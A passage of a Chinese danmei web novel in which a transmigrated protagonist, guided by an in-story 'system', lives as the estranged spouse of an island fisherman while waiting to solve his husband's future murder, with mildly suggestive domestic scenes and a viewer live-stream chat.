他心瞬间慌了, 忙摸索着揪住了那人的耳朵, 开始往外扯。 可恶, 可恶, 可恶! 他用得力度一点没收着,在耳廓上用力。 对方明显被拽疼, 终于缓缓松开枣芩的两片唇, 一呼一吸都格外粗重潮湿,与枣芩交换着呼吸。 枣芩嘴唇湿热, 喉咙还一直持续着干涩烧疼,现在呼吸艰难。 他胸腔的恼火压都压不住,也不管对方是谁,乱喊着:“我都要死了你还亲我?变态, 松开我!” 他愤怒的声音轻轻回荡在屋内,便剩一片安静, 对方仿佛终于从色欲中拔出来,脸色难堪变了变。 大手也迅速从枣芩衣服里抽离,磨过他的皮肤,微麻。 枣芩忽然失去支点, 腿也跟着翘起来, 一下倒在身后的炕上。 只听见对方猛地关上门,鬼撵着似的快步离开了。 这种样子,难道是自己的小三吗?老公刚死就进门亲嘴了? 枣芩张着唇喘气,目光涣散,一张脸蒸得粉红, 胸脯一起一伏。 他缓了好一会,喉咙实在干得不舒服,才手摸着脖子从炕上下来。 屋内摆放的东西并不多,干净整洁,阳光直直透过窗户照到枣芩脸上,他眯了下眼,避开到一旁。 走到家中的水缸前,掀开圆木盖,拿铜制的水瓢舀了一瓢,双手捧着,慢吞吞的喝进嘴里。 随着冰冷淡水滋润喉咙,枣芩“咕咚咕咚”喝了大半瓢,感觉肚子都撑起来,才终于好受一些,靠在旁边的柜子上。 他看圈屋子,没看到遗照,终于想起问系统。 【我丈夫死多久啦?】 第一句就是关于自己的任务,枣芩觉得自己好敬业。 系统沉默片刻,【还没死。】 【还没死?】枣芩又翻出自己任务看了一遍,没错啊。 他怔愣:【可我的任务是找到杀他的凶手,他还没死我怎么找啊。】 【等他死。】系统道。 枣芩咬咬唇,……原来任务还没开始呢。 比起原本的世界,那种初次的茫然。 枣芩明显感觉现在他已经走出新手村了,都知道主动问一些东西,要开始朝着大佬的方向进化了。 他朝门走去,万一他能在他老公刚死,就回答问题通关,那听起来也太牛了。 一秒通关,宋呈也做不到吧。 枣芩伸手推开门,外面潮湿闷热的火海瞬间扑面而来。 枣芩关上门,满脸平静。 算了。 没一会,枣芩在家里翻找出一把蓝色的赠送雨伞,伞面还映着某个医院的图标,但好歹能遮阳。 枣芩撑开伞,划出一小块属于自己的阴影地,再次冲向火海。 有装备的情况下,状况明显要好很多。 枣芩握了握拳,正要推开大门,门刚好被由外而内打开,他下意识扬起脸。 蓝色伞下鱼肚皮似的白脸蛋,皮肤特别薄嫩,似乎可以窥见脆弱的玻璃体组织,上面覆盖这一层微小的看不见的白色绒毛。 上面镶嵌的眼睛,是最漂亮的鹅卵石的颜色。 组合起来的是,是让人呆住的程度,明明以前不是看到过很多的次吗。 高大青年黑发像是刚从水中出来,但因为夏天的气温已经干了许多,他身高肩宽,肌肉紧实,仅套着一件白色老头衫,手里拿着半块西瓜。 薄薄的单眼皮在看到枣芩的那一刻,先是一愣,随即立马皱起眉不去看他,侧身就要进来。 年纪看着不大,十七八的样子。也可能是长相显小。 枣芩站在原地,握着伞柄的手更紧。 他人都傻了,嘴巴颤着,“……老公?” 年纪很小、被叫老公的男生身体僵住,机械故障一样缓慢的回头,眼中透着几分不敢置信,他几乎用气声说了句:“艹?” “你真是饿了,不,你疯了。”他直接把西瓜朝枣芩这边扔过来,枣芩手忙脚乱地把伞夹在肘弯,接过西瓜。 伞一下压到枣芩头顶,他忙调整。 呆愣愣看着那人快步撤退。 系统:【……你叫他老公干什么?】 【不是吗?】枣芩也蹙眉:【那他为什么进我家这么自然。】 系统哽住了,【他是你老公,前面把他抱回来,亲你那个算什么?】 枣芩震惊问:【他难道不是小三吗?他居然是我老公,那他跑什么啊。】 【无语死了!】 想到自己刚刚叫一个陌生男生老公,还是比他还小的男生,再想到那男生的表情,就尴尬得快喘不过气来了。 还好、还好没人看见。 枣芩心脏乱跳,他低头看看怀里红壤绿皮没什么籽的大西瓜,口齿生津,舔舔唇。 要不先去吃了西瓜再找线索吧,不急嘛,反正老公还没死。 今天枣芩呛了水又中了暑,宋莲莲把儿子从海里叫出来,让他去给枣芩送西瓜,还特地把切下来大的那半拿出来。 她儿子不情不愿的走出家门,吊儿郎当的痞子似的,没文化的臭样子。 想来想去,因为两人从小的不对付还是不放心,生怕自家崽子偷吃了或者送朋友。 急匆匆放下手里的活儿去了,但再快脚程毕竟不如年轻的大小伙子。 半道上就看到自家儿子在回来的路上,两眼发直,没点肉的小麦肤色脸上晒得发红。 “小宝!呸,小龙!”宋莲莲扯着嗓子一叫,她儿子没听见似的。 她连着喊了几声,远远的就见她儿子居然飞奔起来,一直跑到海边,踩着鹅卵石,“扑通”一下跳了进去。 又发神经了…… 也不知道西瓜送没送过去。 头顶的大太阳烧得火辣辣,宋莲莲还是选择相信儿子,决定太阳下去再去趟。 现在还不急,宋平肯定能照顾他。 枣芩拿着大菜刀用水冲了冲,把西瓜又一分为二,给他老公留了一半,用盆扣起来。 结果连自己那一半都没有吃完,只好把自己剩下的也放进去扣着。 吃完两只手被西瓜流下来的汁水沾上,黏黏糊糊很不舒服。 正好院子里晒着一大盆水,舀出一些是温热的,刚刚好的温度。 他问了系统,系统说是他老公晒的洗澡水,下午回来要用。 枣芩思量一下,只好去拿了个小盆,盛出来一些,洗了手,又给他加进去一些冷水。 一通折腾下来,枣芩脸上涔白,好在大太阳下去一半,天也没那么晒了。 枣芩什么活也没干过,现在干了点,觉得自己干的很不错。 完全能自力更生。 枣芩踏着傍晚出去,自他老公像小三一样跑出去之后,就再也没看到过了,他连对方的脸长什么样子都没记住。 只记得他的手挺糙的。 他们家位于半山腰上,山不高。 枣芩出了大门没几步就看到了广阔无际的大海,他从未见过的场面,傍晚晚霞的余晖倒映在海面上,浮光跃金,缓缓波动。 海边还有两条渔船停靠。 他终于触发了系统的介绍,【夏岛,2.12平方千米。】 “这么小。”枣芩惊叹出声,而且看样子还有一半被山占了。 其实枣芩也不知道2.12平方千米具体多大,可就是感觉很小。 潮湿腥咸的空气拍打在脸上,枣芩抬手摸了摸脸颊,一路往下走,看到了人群聚集点。 有的坐在石板上,有的站着。老人年轻人都有。 枣芩眼睛瞬间亮起来,快步走过去,想要加入他们的对话,最好悄咪咪得到点什么线索。 结果他刚刚走过去,还隔着两米多呢,他仿佛是个臭豆腐。 原本聚集在那里笑着唠嗑的村民,看到他都是一愣,笑容收敛,很有默契的散开。 嘴里说着什么“回去吃饭了。”“孩子在家呢,回去了。” …… 只剩下枣芩一个人傻站在原地,隐隐约约察觉到几道视线盯着他,他有些无措地捏住自己的手指。 “小枣~”一个莫名耳熟的女声,由不远处响起。 宋莲莲穿着花上衣,笑容满面地快走了几步,来到枣芩面前。 枣芩反应过来在叫自己,短促“啊”了声,眼中闪过茫然。 瓷白脸上今天红彤彤的,明显被晒的。 宋莲莲有些怜爱,拉着他的胳膊在石板上坐下,“我让小龙给你带的西瓜吃了没?” 枣芩满脸乖巧,半袖露出来的胳膊上一点瑕疵都没有,像刚洗完的白萝卜。 他点点头,“吃了一半。” “吃了就好。”女人笑起来。 她并不年轻,眼角还有皱纹,但却有一种年轻的活力和亲和力,尤其在刚刚经历了冷落的枣芩眼中。 枣芩看向她,眼睛小幅度垂下去。 他知道他们冷淡的是这个身份不是自己。 他也不是故意想表现的很可怜,但他控制不住,心里有点酸。 小声说:“他们怎么都不理我,我一过来他们就走了,好像……我身上很臭一样。” 他说着,垂头鼻尖嗅了嗅自己肩膀的衣服。 明明不臭。 宋莲莲顿了下,脸上的笑容褪去,看了眼周围,没人才严肃问:“今天掉水里,是不是又因为阮医生?” “啊、”枣芩张着唇,眉毛微挑,脑中空白。 阮医生又是哪位? 【你的小三。】 【你从小受尽家中宠爱,在哥哥离开后,父母相继离去。临走前,以曾经的恩情要挟你现在的老公——宋平把你娶回家,发誓哪怕不爱你,也要好好照顾你一辈子。】 【宋平同意了,你也同意了。因为宋平长得还算入得了你的眼,最重要的是宋平他有一个好船,出海捞鱼钓八爪鱼……赚得不少,条件在岛上数一数二。】 【结婚后,你几次提出一起睡对方都没有同意,对你很疏离,你太寂寞了,觉得自己像个寡夫。明明有老公却只能自己安慰自己,于是看上了不久前来村里采风的画家——阮秋白。】 【他虽然是个画家,却懂医术,便帮着村民治点小病。】 【你盯上了他,他居然是这个年代少有的大学生,还是个画家。】 【你觉得自己魅力无限大,区区一个阮秋白,肯定会迷倒在你的短裤下。】 【事实却是,对方一心想着采风、画画,对你没有一点兴趣和性趣。】 【你隔三差五找他,带东西,献殷勤,装病。闹得全村都知道了,加上你本来就有着十年如一日的娇气坏名声,大家也不惊讶你做出这种事情。】 【但不可避免的,逐渐没人接近你。只除了作为你母亲好闺蜜,再外加,你老公亲姨的宋莲莲对你有亲妈滤镜,觉得你只是一个缺爱的孩子。】 枣芩嘴巴已经闭不上了,他半晌才慢吞吞回复宋莲莲,“没有去啊。” 宋莲莲恨铁不成钢,也看不上那个阮秋白,“文文弱弱的,什么什么最没用是书生,你没听过吗?哪有你家宋平好,为什么非看上他,我看他一点都不喜欢你。” “就连我儿子、你弟龙保岐那小子也不如啊,他好歹身体好啊,对不对。” 枣芩左耳朵进右耳朵出,还在想系统说的那些,脑袋乱七八糟。 他怎么又是这种讨人厌的角色?! 又献殷勤,又娇气…… 身旁的宋莲莲忽然朝远处喊起来,“宋平,你老婆在这儿!” 不远处从海中捞鱼回来、体格健壮的男人连工作服都没脱,匆匆走着,手中提着捞鱼箱子。 听到声音抬头一看,瞬间握紧箱子把手。 第27章 第 27 章 被蚊子咬了 仿佛陌生人刚好走在同一条路上, 宋平在前面,枣芩垂头坠在后面。 宋平感觉自己被鬼迷了心窍。 枣芩是什么人他明明再清楚不过,今天掉水里, 也肯定是因为去找那个医生, 被对方冷言拒绝, 郁闷之下去了海边, 不小心被潮水卷进去了。 男人控制不住蹙眉,但他们也不是什么真夫妻, 他不在乎枣芩跟谁搅和在一起。 自开始娶他, 不过就是因为父母辈恩情捆绑,想着结婚当个搭伙过日子的伴儿。 可他没料到, 枣芩在岛上的坏名声不是虚的,从小被父母捧在手心里,什么都需要人哄着。 脾气臭、体格弱、水性杨花、贪慕虚荣、自私自利、邋遢懒惰。 缺点可以列出一箩筐,装都装不下。 如果不是宋平有点钱, 枣芩根本不会跟他在一起。 结了婚说的第一句也是用一种命令的口吻:“把你的钱都给我。” 宋平自然是没给,不然之后的关系也不会每况愈下, 演变到说不了一句话。 至于枣芩跟谁好,看上谁,或者跟谁跑了,宋平不在意。 只是今天, 他好像被鬼迷了心窍。 被人喊过去, 快四十度的天气,枣芩被从水里捞上来,躺在地上湿漉漉的鱼肚皮似的皮肤,紧闭双眼同样濡湿的睫毛。 背在背上时冰冷柔软的身体,垂在自己肩膀前的雪白手臂, 以及短暂迷茫的睁眼赋予他的灵动。 他脑内那根弦,崩裂了。 背回他的路上,满脑子都是空的,所有的注意力都集中在背上的那个人。 进了屋就不管不顾,被附身似的,对着水粉色的唇亲了上去。 直到被拽着耳朵的痛感将他唤醒,他才反应过来自己在干什么,自己在对什么样的一个人,像畜生一样发情。 · 枣芩走入大门,就在系统的提示下,走进属于自己的房间。 之前他醒来的是宋平的房间,他们向来都分开睡。 一推开门,被闷过的一股酸味就不分青红皂白砸过来,像大热天食物放坏的味。 让枣芩皱起眉,【系统,这是我的屋子?怎么这么乱啊。】 他耸着鼻子,一路追寻着怪味,终于找到了罪魁祸首。 炕头居然有没洗的碗,里面还剩半个饺子,碗里是醋,都结在碗上了,此时刚好有个苍蝇飞过来,趴在碗里。?! 枣芩太窒息了,哪怕知道这都是设定虚假的数据,不存在这顿饺子,也不存在原主,可他就是忍不住想骂人。 干什么不洗碗! 他小跑出去,“啪”关上门,当自己没有来过。 站在宋平门口,透过窗户,里面跟他那边相比,可以称得上洁癖症患者的房间。 干净到叫人羡慕。 宋平并不在里面,他在厨房做饭,不然枣芩也不好意思这么趴着看别人屋子。 他们家的厨房没有门,阵阵炒菜香随着热腾腾的烟飘出来,飘到枣芩面前,把他勾引过去。 枣芩白瘦指节扣着门槛,侧头只露着一双眼睛看里面。 十平的厨房除了灶台,还有调料柜子。 宋平没穿上衣,背上出了汗,手中黑色的锅在他手中仿佛没有重量,里面的鱼随意翻滚跳跃。 看着很会做饭的样子。 宋平察觉到枣芩的视线,只是回头看了眼,下意识调整姿势挺直了腰板。 结果再悄悄回头,枣芩松开手,已经跑没影了。 直到宋平在院里放了张小木桌,两个小木板凳,套上背心,把菜端上桌。 他站着看了菜好一会,又去拆了过年时别人送的一箱酸奶,放了一瓶在桌上,才去敲枣芩的门。 明明是夫妻,却极其疏远的沉声:“吃饭了。” 门很快开了,屋子的主人走出来,一直等在门内似的快。 “嗯。”他小声,侧开宋平坐到小木板凳上。 枣芩没动筷子,眼睛瞥着宋平,看到他坐下,还端庄并起膝盖。 垂在身前的手臂跟那白瓷碗一个颜色,跟村里的所有人都不一样,又白又嫩,嘬一口就会立马留下红印子的柔弱皮肤。 宋平赶紧收回视线。 桌子上就两个菜,一条炒鱼,一碗拌豆芽,还有四个馒头。 枣芩早就饿了,一直等到宋平动筷子夹了块鱼,他才跟着小心翼翼夹了一点鱼肉,放进嘴里。 好咸!!! 枣芩皱起眉头,抿着嘴巴,艰难咽下去嘴里的鱼肉,舌头都麻了。 那鱼加料加的都有点黑了,不过枣芩完全没有做过饭的人哪里懂,他只知道好难吃。 看着那么厉害,只是个空架势。 对面的宋平手里握着筷子,吃饭的动作没停。可他所有的注意力全部都放在对面的小妻子身上。 他的每一个小表情,每一个小动作。 都让他怀疑自己是不是真的做的不好吃,他十年如一日吃自己做的饭,觉得就像喝水一样,填饱肚子就行。 之前小妻子也不跟他一起吃饭,这个点都去宋莲莲家,或者花钱去唯一的饭馆吃饭。 他也是看他没出去,试探叫了下。 枣芩的手又挪去了豆芽,尝了口,打开了酸奶喝。 他表情不太对,睫毛细细的颤,好久才抬头。 宋平的呼吸停顿,见枣芩举着,正面反面看酸奶,把每个面都看了遍。 最后吸吸鼻子,小声说:“嗯……这个酸奶味道好奇怪。” 太便宜了吗? 宋平不敢确定。 枣芩不太好意思,手指松开绿色的瓶身,放回木桌上,“好像过期了诶。” 尾音上翘,掩饰着尴尬。 …… 宋平本就不白的耳根子红得不明显,他一下站起来,高高大大的带着压迫感。 枣芩被吓了一跳,身体微微后仰,后背因为热而出的一层薄汗,衣服黏在皮肤。 他怔怔看着对方转身离开进了厨房,有点心悸。 【他怎么忽然走了?我说错话了?】 系统:【可能是觉得不够吃,又去做饭了。】 枣芩觉得系统说的有道理,因为很快,宋平就端着碗做好的蛋羹放在枣芩面前,瓷碗碰到木桌发出不轻不重的响声。 “吃这个。”依旧语气没多好。 上面放着个干净的铁勺子。枣芩看了他眼,舀了一点放进嘴里,称不上多好吃,但比鱼好多了。 多亏了这碗蛋羹,枣芩才没有饿肚子。 吃完宋平把碗放到锅里后,枣芩偷感十足,进屋子里把那个没有洗的碗拿出来,小心翼翼用刷子刷了几下。 刷得差不多就不管了。 宋平应该发现不了,枣芩也不想刷碗。 反正宋平要刷,那刚好一起刷了吧。 天色暗下去,院子的黄灯已经开了。 枣芩坐回小板凳上,盯着宋平从屋子出来,以为他要去洗碗了,还捏了把汗。 结果对方顿了顿,转身去了大水盆旁。 宋平随手将衣服脱下,劳作产生的,遒劲的背部肌肉露出来。 他一手拿着小盆进去舀水,准备往自己身上倒。 枣芩忽然站起身,“等等。” 宋平回头,枣芩出了不少细汗,额前的发丝都被有些黏在额头上,一缕一缕。 男人动作停下。 枣芩面点急色,“我、我怎么洗澡啊,我去哪里洗澡……?” “你也洗澡?”宋平什么也没注意,脱口而出。 枣芩一下红了脸,气红的,“我怎么就不洗澡了!” 这个宋平黑黑的壮壮的,脑子也不好使,凭什么这么说人。 “我很爱干净,我身上都是干净的,我没有不洗澡。”枣芩说着也不知道怎么给他展示,就几步走近他,手往下扯自己的纯棉半袖的领子。 领口宽松,往下一扯就露出了一大片。 他给宋平看自己的肩膀,胸口。 这些地方不洗澡的话都会变脏的。 昏黄院灯下,一切都不太明晰,但是他的粉粉白白的皮肤,幽怨娇嗔的眼神,宋平都看清楚了。 却像虚幻的一样,一戳就破的那种。 前几天开船去陆地上的城里送货,那里现在在流行电影,要去电影院看,书生会被勾人心的艳鬼引诱,然后去挖心掏肝。 运气好的,就能跟鬼相爱。 难道现在流行勾引渔夫了吗? 好粉啊,跟他自己的完全不一样。 视线如湿溻溻的舌头,舔舐过目光所及。 枣芩莫名一颤,哼哼了声,“反正我很爱干净的。” 最终,那盆水归枣芩所有了。 他要求还很多,不在院里洗,要在屋里洗。宋平同意了。 然后男生自己一个人焦急站在水盆边绕来绕去,视线不断瞄宋平,暗示着他。 宋平喉结滚动,走过去。 结实的肌肉与力气好像就是为了这种时刻,他手臂肌肉绷紧,将水盆抬回屋中。 枣芩眼角眉梢都带着开心,把门关上说要洗澡了,他才回了自己空荡荡的屋子,低头看到自己起伏的弧度,呼吸猛滞。 他可干不出那种偷看别人洗澡的事情。 男人直挺挺躺在炕上,身上的鱼腥味还没洗去,等会只能用冷水洗了,入伏天冷水洗也没事。 他呼吸重得难受,身上也难受,一层一层的汗往外冒,比出海还累。 许久,像梦吟一样,听到颤颤的声音喊:“老公……” 黏腻乳白的梦在布料下让他浑身发麻,头晕目眩,不堪其扰。 “老公……大哥……” 娇缠的腔调还不停。 不是梦。 他瞬间从床上猛弹起来,浑身鸡皮疙瘩,到了枣芩门外。 窗户看不到妻子的身影,他故作平静站在门外,像个正人君子,“怎么了?” 别提了,枣芩尴尬死了。 他洗完澡在整个屋子里翻不到一件干净衣服,咬唇纠结到盆里的水都要凉了,才无可奈何求助旁屋的人。 喊了好几声,喂、宋平、大哥、邻居,怎么都没有回应。 想到两人的关系,只好缩着身体把脏衣服套在身上,慢慢开了门缝,试探着喊了两声“老公”。 那边才终于传来了响动。 几秒,人就过来了。 “我没衣服了,你借我件衣服吧,要干净的。”枣芩强调。 门外声音窸窸窣窣,随后一声“行”。 没一会对方又敲响门,说拿过来了。 枣芩开了条门缝,伸出湿白的手,上面半透明的水光,反射着昏黄的颜色。 伴随而来的是扑面的幽香。 像鬼。 他有点恍惚,黑手握住枣芩的雪白腕骨,对比明显。 枣芩颤了下,“怎么了。” 他将白衣服放到枣芩手上,嗓音低哑,“衣服。给你。” “……噢。”枣芩拿着衣服收回去,半天不见他走,忍不住催促,“你回去吧,我没事了。” 宋平才像个魂一样飘回去。 枣芩急匆匆脱下脏衣服,进去又洗了一遍,才套上了宋呈给他的衣服,站在柜子门的一面镜子前,表情似怒似耻。 里面的男生没穿裤子,套着一个最简单的白背心。 肩膀圆润四肢如藕,被水汽蒸粉。 衣领子都快开到胸前了,只动动身子就露出来了。 如果他不是个男生,他真的会觉得宋平在耍流氓,给他这么大的背心。 枣芩来这个新副本也算尽受气了,吃也吃不好,衣服也没有。 他用水把他里面的衣服洗了,洗完开了衣柜门,挂到角上。 半袖和裤子实在累得不想洗,他精疲力尽,快死掉了。 打算先泡着,等明天有力气了再洗,反正夏天一上午就干了。 这么想着,枣芩就心满意足上炕,关了灯。 是时候睡个好觉啦。 嗡嗡声盘旋在耳边,嗡嗡来嗡嗡去,嗡嗡左嗡嗡右。 烦得人脑门起火,像是在他头顶,可是开了灯又什么也找不着,就算看到,他也捉不住。 一关了灯又来了。 枣芩这辈子都没受过这种苦,蜷缩身体,抿着嘴巴,一动不动在黑夜中,嗡嗡声还在他耳边飞。 【怎么了?】系统问。 枣芩不说话,脸颊被气出来的泪水浸湿,很久很久,他才哑着声音说:“蚊子咬我,痒。” 系统罕见来了点愧疚感,【我检测到那边有驱蚊的。】 …… 【过去让他帮你驱一下蚊子。】 枣芩动作很慢的开灯,从炕上爬起来。白色的背心在他下炕时,往上卷,露出一大片柔软的雪白。 系统出声:【注意自己的衣服。】 枣芩后知后觉拽了下,表情不悦,懒懒散散,“又没别人。” 外面很凉爽,枣芩站着被吹了会,才敲几下门。 宋平也没睡,沉沉的声音从屋内传出来,“怎么了?” “宋平。”枣芩喊。 屋内是下炕穿鞋的声音,他没开灯,过来开了门居高临下面对枣芩。 哪怕有月光,枣芩也没看清他的表情。 他吸吸鼻子,手捏住一块自己的衣角,语气隐隐带点哀求的意思,“我那边好多蚊子咬我,你用蚊香还是什么,帮我弄一下吧。” 宋平毫不犹豫:“没有。” 枣芩抬起头,“啊?” “……” “噢,那我回去了。”枣芩眼底湿了,胸腔是挤压的不顺导致的委屈。 他也只能被蚊子咬了。 枣芩转身要走,纤软胳膊一下被捏住,手指按的地方都陷下去小窝。 宋平说:“我这边没蚊子……你想住可以过来。” 他又补了句让枣芩打消思绪的话,“反正都结婚了。” · 【真的没有蚊子!】枣芩心里跟系统说,坐在炕上尽量保持平静。 宋平还没上炕,在柜子里翻找着什么东西,随后借着月光去到门口,枣芩才发现他在挂门帘。 挂完就直接把门开了,凉凉的晚风吹进来,枣芩舒服的摊开自己,躺在宋平给他拿出来的新枕头上,扯被子盖住自己的肚皮大腿。 浑身放松,身体舒适,再加上他早就困了,意识很快就陷入迷糊。 连宋平什么时候回的炕上都不知道。 枣芩睡得好,宋平却并不。哪怕凉风吹着,身上也燥得不行,脑子胡思乱想着东西,如何也停不下来,难得失眠了。 他也不能翻来覆去,怕吵醒睡在他旁边的妻子。 他炕上少见的香,从来没闻过的香,可能要去陆地上买的那些香水才有这么香。 下次去一定要去闻闻,最好能有钱买一瓶给枣芩玩。 枣芩睡熟了,呼吸声平缓安静。 月光透过玻璃,他睁眼就是枣芩背对着他的纤细脖颈,幽暗月光下阴影漂亮的背。 “老公…” 在叫他。 宋平怀疑自己听错了,但他知道没有,用喉中挤出声“嗯。” 枣芩的手伸到后背,乱抓着,喉咙里难受的哼哼唧唧,“痒,被蚊子咬了,抓……” 黑夜,宋平平时该睡觉的时间,他眼睛瞪得像铜铃,精神亢奋难眠。 他粗糙的手伸到枣芩后背皮肤,没敢抓,而是大手上抚摸着他光滑冰凉的后腰,一路摸上去。 他整手都有茧,不用抓,只按着摸几下枣芩就不再哼唧了,又陷入了睡梦。 宋平的手放在后背上,一下一下帮他摩挲,他闭眼,感觉自己离死不远了。 第28章 第 28 章 要不要和我偷情… 枣芩坐在炕上, 两手忙把自己身上的背心往下拽,遮住莹润大腿,刚清醒看到新出现的直播间, 表情还有点懵, 呆呆的一副好欺负的模样。 直播间的弹幕滚动的速度很快, 他们已经等枣芩睡醒有一段时间了, 也不久,几个小时。 【新的直播间, 煮啵你腿好美…不是, 我说你脸好美,我是说你所有地方都很美……】 【想跟煮啵在同一张床上, 哪怕是以老公的身份】 【煮啵真的是新人吗?第一个副本就有特殊身份?怎么给人当上老婆了呀】 【终于醒了,宝宝睡得香香哦】 【!!这不是芩芩吗??你是玩家???啊呜呜呜,开心鼠了,还以为再也看不到宝宝了】 【哪个?求求了告诉我】 枣芩嘴唇微张, 手指攥住被子布料,结结巴巴:“这、这是什么啊?” 【直播间。所有玩家都有, 也是获得积分的渠道,上一个副本的玩家都有直播间。】 系统给他道:【所有人的直播间都会在进入副本第二天开启。】 枣芩愣了几秒,迟钝地抬起手摇了摇,声音不大, “你们好啊?” 弹幕滚动的速度把他吓了一跳, 努力去看,都看不清他们在说什么。 “你们是人吗?”枣芩忍不住问。 但是实在滚动的太快了,枣芩什么也看不清,挠挠红红的脸,“你们好热情啊。” 系统叫他不要太在意他们的存在, 因为一些涉及到隐私的东西都会自动屏蔽,枣芩悄悄紧张的神经才松懈下来。 其实他刚刚有在想上一个世界自己和宋呈的所有接触是不是都被看了,包括他被亲什么的。 现在才安心了。 他扁扁的枕头旁边,此时摆放着叠得整整齐齐的衣服。 枣芩撩开背心,试探着去穿裤子,直播间果然被屏蔽了。 因为上面的弹幕都在说什么【为什么不让我看?】【高贵的妈咪有什么不能看的?】【我是老公都不行?】 枣芩边穿衣服边想,他们说话怪怪的是真的。 · 他沉默看着自己身上的灰裤子,这或许是宋平的短裤,还是新的。 但穿在枣芩身上都过了膝盖,一个尴尬的长度,只露着一截瓷白的小腿,上面宽宽松松,全靠腰带绑着。 他瞬间明白了介绍中为什么会有个小土帽的后缀,因为他就是土土的,昨天洗完澡在翻衣服的时候就发现了,都是灰扑扑的颜色,没有一件时髦衣服。 宋平人也不知道去哪里了。 枣芩摸摸肚子,对系统说:【我们去宋姨家里探索一下宋平有没有仇人吧,你帮我指路!】 系统:【好。】 【顺便吃个饭~】枣芩撑起伞,悠悠走出门。 系统:【吃个饭,顺便找线索?】 ……枣芩抿住嘴巴,表情不悦,不说话了。 系统知道他,一点都说不得,尤其熟悉之后。 到宋莲莲家的时候,外面就闻到了阵阵饭菜香气,他有点不好意思地走近他家砖搭的厨房,他们家的厨房也没有门。 母子俩的身影正在忙活,都背对着他。 宋莲莲今天换了件浅蓝色上衣,此时在盛饭。 她儿子依旧是件白背心,站姿随意,一条腿微曲,单手拿锅在炒菜,香气就是从这里出来。 他随意回头看了眼,与撑着伞的枣芩目光对上,手中的动作僵了下,才回头说了声:“妈,那谁来了。” 宋莲莲立马回头看,露出个笑,“今天来这么早,快去家里饭桌上等着。” 枣芩哪好意思,他收起伞放在外面,走进厨房,“姨姨,我有能帮忙的吗?我来弄吧。” 宋莲莲没有推脱,指指刚弄好的三碗白米饭,“端进屋等着就行,你弟马上炒出来了。” 听着“你弟”这个称呼,枣芩没忍住瞥了龙保岐一眼,被他冷冷的眼神看回来,赶忙端起饭碗进屋。 三碗白米饭摆在桌上,枣芩真的感觉宋莲莲人很好,非亲非故的却照顾这么久,每天都准备他的饭菜。 这么想着他也就说了出来。 “多个碗多个筷子的事情。”宋莲莲有点奇怪盯着他:“今天这是怎么了?” 枣芩摇摇头,还没来得及说什么,龙保岐的声音插进来,“矫情呗。出门还打伞,男生白成这样有什么好看的……以为自己是城市里的人?” 枣芩看了看自己的胳膊,没话说,因为无语了。 “小保。”宋莲莲叫了声,故作嫌弃,看着他,“你很好看吗?胳膊练得跟个石头一样。” “别叫这名行吗……”他咬咬牙,闭上了嘴低头吃饭。 枣芩没忘自己的主线,吃完饭把自己的碗放到厨房,就像是随口一说般,开始瞎编,“姨姨,昨天晚上有人往我们家扔老鼠,把我吓了一跳!” “啊?”宋莲莲诧异。 “我跟宋平也不太说话,是不是有什么讨厌他的人啊?” 宋莲莲略一思索,“有吗?他那脾气,宁愿自个掏那么多钱买一个船,都不跟村里别人搭伙买,也不跟人接触。咱岛上就两条船,一条大家的,一条他的。” “如果是一条船上的,谁谁谁捞的多,可能遭恨。像他那种跟别人都不在一条船上,反而没人嫉妒他,都不跟他比。” 她猜测:“可能是小孩吧,恶作剧。” “噢。”枣芩摸着出了层细汗的脖颈。 没有仇人谁会杀他? 又坐了会,瞎聊了些,枣芩实在热得受不了,神志都快模糊了,打完招呼就转身出去。 他们家外面不远处就是大海,枣芩忽然有点想去泡泡,他视线盯着海面,在跨门槛的时候没太注意,跨了一半,脚尖踢在了门槛。 身体没有稳住,一声短促细弱的“啊”后,他直接半趴在大门外。 为什么又是这条腿啊? 这是枣芩最后的想法。 因为很快烧起来的疼痛就让他皱起眉,大热天脸上扑簌簌落下冷汗,不断的喘息,企图让快疼得断掉的腿不那么疼。 地面上是粗糙不平的,枣芩脆弱的皮肤直接摩擦上去,擦伤了一层皮,透明的水珠从伤口渗出来,紧接着就是鲜红的血珠。 上面还有几个小碎石头,嵌在伤口。 但也就那么一个瞬间,疼痛突然就全消失了,只留着惨烈的伤口。 枣芩坐在地面上,还在喘息,汗珠弄湿发丝,黏在涔白脸上。 【用直播间之前的打赏买了止疼药,希望不要介意。】系统出声。 “啊!”一声尖叫,要去的厨房的宋莲莲忙跑过来,“小保!快出来!” 龙保岐慢悠悠踏出门,刚刚点燃的烟还夹在食指与中指间。 他神色一变,立即把烟熄在窗台,指尖不小心被烫,也没在意,几步冲过去。 枣芩鲜红的伤口和惨白的脸刺进他眼中。 “快快快!带小枣去阮医生那里。”宋莲莲额前也出了层汗。 在枣芩有些呆的表情下,龙保岐手臂伸进他腿弯,直接打横把枣芩抱起来就跑。 枣芩对龙保岐来说,轻飘飘的,没什么压力。 但对枣芩来说,被人抱着跑还是第一次,颠来颠去,忙去抓少年的衣服,结果抓了个空,只好抓住他胱裸的肩膀。 枣芩说:“慢点慢点,我不疼。” “放屁。”奔跑中的人都不忘回他一句。 对方毕竟是在为自己,枣芩安静闭住嘴巴,心里对系统说声,【谢谢。】 他想起了宋呈给他的项链,此时还戴在脖颈上,有些恼,【这项链是假的吗?为什么没有保护我!】 系统也是顿了下,才说:【这类型的道具不会保护玩家不小心摔倒,如果是地朝你撞上来的,他会保护你。这是高级道具。】 枣芩怒了,【这是什么破道具。还有你,是在笑话我笨,只配用低级道具吗?】 …… 【没有。】系统语气平静,【最厉害的玩家也有可能摔倒,低级道具才是最常被用到的。】 他没什么哄人气息的一句话,就把枣芩哄好了,他思索片刻,【你说得对,所有人都有可能摔倒,这不能证明什么。】 【是的,你还记得有这个道具,很聪明了。】 枣芩咬着嘴唇,表里不一,【哈哈!】 · 枣芩坐在床上,垂着脸,电风扇发出的风吹过他柔软的黑发,飘起来些,宽大的背心贴在身体上,显出他窄瘦腰身。 戴着银框眼镜的男人低着头,鼻梁高挺,已经帮他消完毒上好药,在用白纱布包扎了。 他淡淡道:“那么急匆匆,不知道的还以为腿断了,原来只是摔倒了。” 一旁站着的龙保岐也不说话,搞得当事人枣芩很尴尬,应了声:“嗯。” 他尴尬还有别的事。 这个阮秋白是他看上的男人,因为他觉得对方戴个眼镜很时髦,而且是城里来的,念过大学还会画画。 完全就是文艺青年,他眼中高级的文化人。 他每天都来骚扰对方,以各种各样的理由,装发烧装中暑什么的都不计其数。 今天腿受伤哪怕是真的,也显得像是为了让对方给自己包扎一样。 